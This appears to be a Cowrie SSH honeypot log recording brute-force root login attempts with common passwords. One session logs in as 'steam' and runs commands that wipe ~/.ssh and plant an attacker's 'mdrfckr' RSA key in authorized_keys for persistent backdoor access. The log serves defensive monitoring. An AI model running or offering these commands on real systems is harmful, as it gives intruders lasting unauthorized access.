{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:74:61:f3:57:aa:23:a4:6d:57:e7:30:f8:94:fe:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw/0AFfzotOJ/6rXpKOqZ+rdbXRl12qbrIucGa0FTVbhBpOLD/0DvUqgbvn73b8E+6m+m3C+YDjBzR/2V2LNrq19qWR1hiQT4s+/Yq7+iMC6swVO3kY/KiIjmvO4Qm1RoXGT3c0twwsE2yZy5KrU+wYZjMmY0up9DVaZtP7BmJ8M370GYJnQLqO/Knb9zKWqfbD+yk2n9Ju0TpBispkrkLpJyQYB3RGfEgPw0+kZmyV7gYa1yyswWN2CmKXs6gE1D9nOJTpUPk75rs10kJOUWhzkkNhdZaJX7hZfR7QTW1fx8zC1ER7o4bdwXoLFGWvxK+O2VHGp9KQ4jIgyi18OzOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:74:61:f3:57:aa:23:a4:6d:57:e7:30:f8:94:fe:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.610393Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:74:61:f3:57:aa:23:a4:6d:57:e7:30:f8:94:fe:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw/0AFfzotOJ/6rXpKOqZ+rdbXRl12qbrIucGa0FTVbhBpOLD/0DvUqgbvn73b8E+6m+m3C+YDjBzR/2V2LNrq19qWR1hiQT4s+/Yq7+iMC6swVO3kY/KiIjmvO4Qm1RoXGT3c0twwsE2yZy5KrU+wYZjMmY0up9DVaZtP7BmJ8M370GYJnQLqO/Knb9zKWqfbD+yk2n9Ju0TpBispkrkLpJyQYB3RGfEgPw0+kZmyV7gYa1yyswWN2CmKXs6gE1D9nOJTpUPk75rs10kJOUWhzkkNhdZaJX7hZfR7QTW1fx8zC1ER7o4bdwXoLFGWvxK+O2VHGp9KQ4jIgyi18OzOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.614825Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:0a:43:83:f4:23:7f:a5:a5:30:8c:d1:85:ab:a7:21","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFuazBuhAuv/GPdJ+CN7HiTUYhSKjRGwzGIE1L/SXOQM","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint eb:0a:43:83:f4:23:7f:a5:a5:30:8c:d1:85:ab:a7:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.756015Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:0a:43:83:f4:23:7f:a5:a5:30:8c:d1:85:ab:a7:21","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFuazBuhAuv/GPdJ+CN7HiTUYhSKjRGwzGIE1L/SXOQM","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.760574Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37072,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4217ab231c9","protocol":"ssh","message":"New connection: 47.86.95.62:37072 (10.17.0.5:22) [session: c4217ab231c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.824312Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:55.896789Z","src_ip":"191.241.76.128","session":"aa45aef19eea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:33:56.409483Z","src_ip":"47.86.95.62","session":"c4217ab231c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":14572,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca33659fa945","protocol":"ssh","message":"New connection: 165.154.23.26:14572 (159.203.135.109:22) [session: ca33659fa945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:11.863547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:11.871546Z","src_ip":"165.154.23.26","session":"ca33659fa945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:12.090074Z","src_ip":"165.154.23.26","session":"ca33659fa945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@$$w0rd","message":"login attempt [root/p@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:12.970821Z","src_ip":"165.154.23.26","session":"ca33659fa945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:13.172483Z","src_ip":"47.86.95.62","session":"c4217ab231c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:14.201077Z","src_ip":"165.154.23.26","session":"ca33659fa945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":60554,"dst_ip":"159.203.135.109","dst_port":22,"session":"df4a1fcdf674","protocol":"ssh","message":"New connection: 209.99.184.143:60554 (159.203.135.109:22) [session: df4a1fcdf674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:14.406321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:14.410455Z","src_ip":"209.99.184.143","session":"df4a1fcdf674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:14.506381Z","src_ip":"209.99.184.143","session":"df4a1fcdf674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user","message":"login attempt [root/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:14.928327Z","src_ip":"209.99.184.143","session":"df4a1fcdf674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:16.028474Z","src_ip":"209.99.184.143","session":"df4a1fcdf674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:34.962972Z","src_ip":"47.86.95.62","session":"c4217ab231c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52970,"dst_ip":"10.17.0.5","dst_port":22,"session":"61369ab1ea2b","protocol":"ssh","message":"New connection: 47.86.95.62:52970 (10.17.0.5:22) [session: 61369ab1ea2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:44.402085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:34:44.407269Z","src_ip":"47.86.95.62","session":"61369ab1ea2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:35:25.889316Z","src_ip":"47.86.95.62","session":"9929702ef7a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":39312,"dst_ip":"159.203.135.109","dst_port":22,"session":"628616a086c2","protocol":"ssh","message":"New connection: 165.154.23.26:39312 (159.203.135.109:22) [session: 628616a086c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:35:31.899434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:35:31.903995Z","src_ip":"165.154.23.26","session":"628616a086c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:35:32.126496Z","src_ip":"165.154.23.26","session":"628616a086c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zk123456.","message":"login attempt [root/Zk123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:35:33.042137Z","src_ip":"165.154.23.26","session":"628616a086c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:35:34.269904Z","src_ip":"165.154.23.26","session":"628616a086c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"107.5","message":"Connection lost after 107.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:35:43.283374Z","src_ip":"47.86.95.62","session":"c4217ab231c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:31.167567Z","src_ip":"47.86.95.62","session":"61369ab1ea2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:44.413989Z","src_ip":"47.86.95.62","session":"61369ab1ea2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":60744,"dst_ip":"159.203.135.109","dst_port":22,"session":"79312053100d","protocol":"ssh","message":"New connection: 209.99.184.143:60744 (159.203.135.109:22) [session: 79312053100d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:48.017860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:48.026234Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:48.122823Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123321","message":"login attempt [steam/123321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:48.539057Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:48.778803Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:48.781300Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:48.785115Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:48.886242Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:49.114286Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:49.117769Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:49.219396Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
